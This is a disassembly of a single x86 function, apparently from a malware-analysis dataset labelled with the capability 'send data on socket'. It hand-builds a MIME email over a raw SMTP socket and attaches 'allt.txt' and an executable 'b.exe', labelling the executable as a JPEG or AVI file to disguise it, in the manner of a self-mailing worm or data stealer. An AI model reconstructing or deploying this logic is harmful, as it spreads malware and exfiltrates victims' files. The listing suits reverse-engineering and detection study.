Function at 0x415410
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [0x430d60]
sub esp, 0x20c
push ebx
push ebp
push esi
push edi
push 0
push 1
push eax
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push 0x430d80
lea ecx, [esp + 0x1c]
push str.From:__s_r_n
push ecx
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
lea edx, [esp + 0x18]
push 0
push edx
call esi
mov ecx, dword [0x4281b4]
mov edi, dword [sym.imp.WSOCK32.dll_send]
push eax
lea eax, [esp + 0x20]
push eax
push ecx
call edi
push 0x430c40
lea edx, [esp + 0x1c]
push str.To:__s_r_n
push edx
call ebx
add esp, 0xc
lea eax, [esp + 0x18]
push 0
push eax
call esi
mov edx, dword [0x4281b4]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call edi
push str.smtp
call esi
test eax, eax
je 0x4154d4
lea eax, [esp + 0x18]
push str.Subject:__iso_8859_1_b_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push 0
push ecx
call esi
push eax
mov eax, dword [0x4281b4]
lea edx, [esp + 0x20]
push edx
push eax
call edi
push str.smtp
call esi
lea ecx, [esp + 0x18]
push eax
push ecx
push str.smtp
call fcn.00415000
add esp, 0xc
lea edx, [esp + 0x18]
push 0
push eax
mov eax, dword [0x4281b4]
push edx
push eax
call edi
lea ecx, [esp + 0x18]
push str.__r_n
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x18]
push 0
push edx
call esi
mov ecx, dword [0x4281b4]
push eax
lea eax, [esp + 0x20]
push eax
push ecx
call edi
lea edx, [esp + 0x18]
push str.MIME_Version:_1.0_r_n
push edx
call ebx
add esp, 8
lea eax, [esp + 0x18]
push 0
push eax
call esi
mov edx, dword [0x4281b4]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call edi
push str.xx1357924680jgbjfgjgjafhjdsfdgsxx
lea eax, [esp + 0x1c]
push str.Content_Type:_multipart_mixed_boundary_s_r_n
push eax
call ebx
add esp, 0xc
lea ecx, [esp + 0x18]
push 0
push ecx
call esi
push eax
mov eax, dword [0x4281b4]
lea edx, [esp + 0x20]
push edx
push eax
call edi
lea ecx, [esp + 0x18]
push 0x421150
push ecx
call ebx
add esp, 8
lea edx, [esp + 0x18]
push 0
push edx
call esi
mov ecx, dword [0x4281b4]
push eax
lea eax, [esp + 0x20]
push eax
push ecx
call edi
lea edx, [esp + 0x18]
push str.This_is_a_multipart_message_in_MIME_format_r_n
push edx
call ebx
add esp, 8
push 0
lea eax, [esp + 0x1c]
push eax
call esi
mov edx, dword [0x4281b4]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call edi
lea eax, [esp + 0x18]
push 0x421150
push eax
call ebx
add esp, 8
lea ecx, [esp + 0x18]
push 0
push ecx
call esi
push eax
mov eax, dword [0x4281b4]
lea edx, [esp + 0x20]
push edx
push eax
call edi
push str.xx1357924680jgbjfgjgjafhjdsfdgsxx
lea ecx, [esp + 0x1c]
push str.___s_r_n
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x18]
push 0
push edx
call esi
mov ecx, dword [0x4281b4]
push eax
lea eax, [esp + 0x20]
push eax
push ecx
call edi
lea edx, [esp + 0x18]
push str.Content_Type:_text_plain_charsetus_ascii_r_n
push edx
call ebx
add esp, 8
lea eax, [esp + 0x18]
push 0
push eax
call esi
mov edx, dword [0x4281b4]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call edi
lea eax, [esp + 0x18]
push str.Content_Transfer_Encoding:_7bit_r_n
push eax
call ebx
add esp, 8
lea ecx, [esp + 0x18]
push 0
push ecx
call esi
push eax
mov eax, dword [0x4281b4]
lea edx, [esp + 0x20]
push edx
push eax
call edi
lea ecx, [esp + 0x18]
push 0x421150
push ecx
call ebx
add esp, 8
lea edx, [esp + 0x18]
push 0
push edx
call esi
push eax
lea eax, [esp + 0x20]
mov ecx, dword [0x4281b4]
push eax
push ecx
call edi
mov edx, dword [esp + 0x220]
push edx
push 0x54
push str.allt.txt
call fcn.00415200
lea eax, [esp + 0x24]
push 0x421150
push eax
call ebx
add esp, 0x14
lea ecx, [esp + 0x18]
push 0
push ecx
call esi
push eax
mov eax, dword [0x4281b4]
lea edx, [esp + 0x20]
push edx
push eax
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push 0x429560
push str.b.exe
call ebp
test eax, eax
je 0x4158bd
push str.xx1357924680jgbjfgjgjafhjdsfdgsxx
lea ecx, [esp + 0x1c]
push str.___s_r_n
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x18]
push 0
push edx
call esi
mov ecx, dword [0x4281b4]
push eax
lea eax, [esp + 0x20]
push eax
push ecx
call edi
push str.b.exe
call esi
mov dl, byte [eax + 0x42833b]
dec eax
dec eax
cmp dl, 0x2e
je 0x415730
test eax, eax
jl 0x415730
mov cl, byte [eax + str.b.exe]
dec eax
cmp cl, 0x2e
jne 0x415720
inc eax
test eax, eax
jle 0x415749
lea edx, [eax + str.b.exe]
lea eax, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x41574e
mov byte [esp + 0x10], 0
lea ecx, [esp + 0x10]
push str..jpg
push ecx
call ebp
test eax, eax
jne 0x41576a
push str.b.exe
push str.Content_Type:_image_jpeg_name_s_r_n
jmp 0x415790
lea eax, [esp + 0x10]
push str..avi
push eax
call ebp
test eax, eax
push str.b.exe
jne 0x41578b
lea ecx, [esp + 0x1c]
push str.Content_Type:_video_avi_name_s_r_n
push ecx
jmp 0x415795
push str.Content_Type:_application_x_msdownload_name_s_r_n
lea edx, [esp + 0x20]
push edx
call ebx
add esp, 0xc
lea eax, [esp + 0x18]
push 0
push eax
call esi
mov edx, dword [0x4281b4]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call edi
lea eax, [esp + 0x18]
push str.Content_Transfer_Encoding:base64_r_n
push eax
call ebx
add esp, 8
lea ecx, [esp + 0x18]
push 0
push ecx
call esi
push eax
mov eax, dword [0x4281b4]
lea edx, [esp + 0x20]
push edx
push eax
call edi
push str.b.exe
call esi
mov cl, byte [eax + 0x42833b]
dec eax
dec eax
cmp cl, 0x5c
je 0x4157fc
test eax, eax
jl 0x4157fc
mov dl, byte [eax + str.b.exe]
dec eax
cmp dl, 0x5c
jne 0x4157ec
mov cl, byte [eax + 0x42833d]
inc eax
cmp cl, 0x5c
jne 0x415819
lea eax, [eax + 0x42833d]
lea ecx, [esp + 0x118]
push eax
push ecx
jmp 0x415826
lea edx, [esp + 0x118]
push str.b.exe
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x118]
lea ecx, [esp + 0x18]
push eax
push str.Content_Disposition:_attachment__filename_s_r_n
push ecx
call ebx
add esp, 0xc
lea edx, [esp + 0x18]
push 0
push edx
call esi
mov ecx, dword [0x4281b4]
push eax
lea eax, [esp + 0x20]
push eax
push ecx
call edi
lea edx, [esp + 0x18]
push 0x421150
push edx
call ebx
add esp, 8
lea eax, [esp + 0x18]
push 0
push eax
call esi
mov edx, dword [0x4281b4]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call edi
mov eax, dword [esp + 0x220]
push eax
push 0x42
push str.b.exe
call fcn.00415200
lea ecx, [esp + 0x24]
push 0x421150
push ecx
call ebx
add esp, 0x14
lea edx, [esp + 0x18]
push 0
push edx
call esi
mov ecx, dword [0x4281b4]
push eax
lea eax, [esp + 0x20]
push eax
push ecx
call edi
push str.xx1357924680jgbjfgjgjafhjdsfdgsxx
lea edx, [esp + 0x1c]
push str.___s___r_n._r_n
push edx
call ebx
add esp, 0xc
lea eax, [esp + 0x18]
push 0
push eax
call esi
mov edx, dword [0x4281b4]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call edi
mov eax, dword [0x430d60]
push 1
push 1
push eax
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret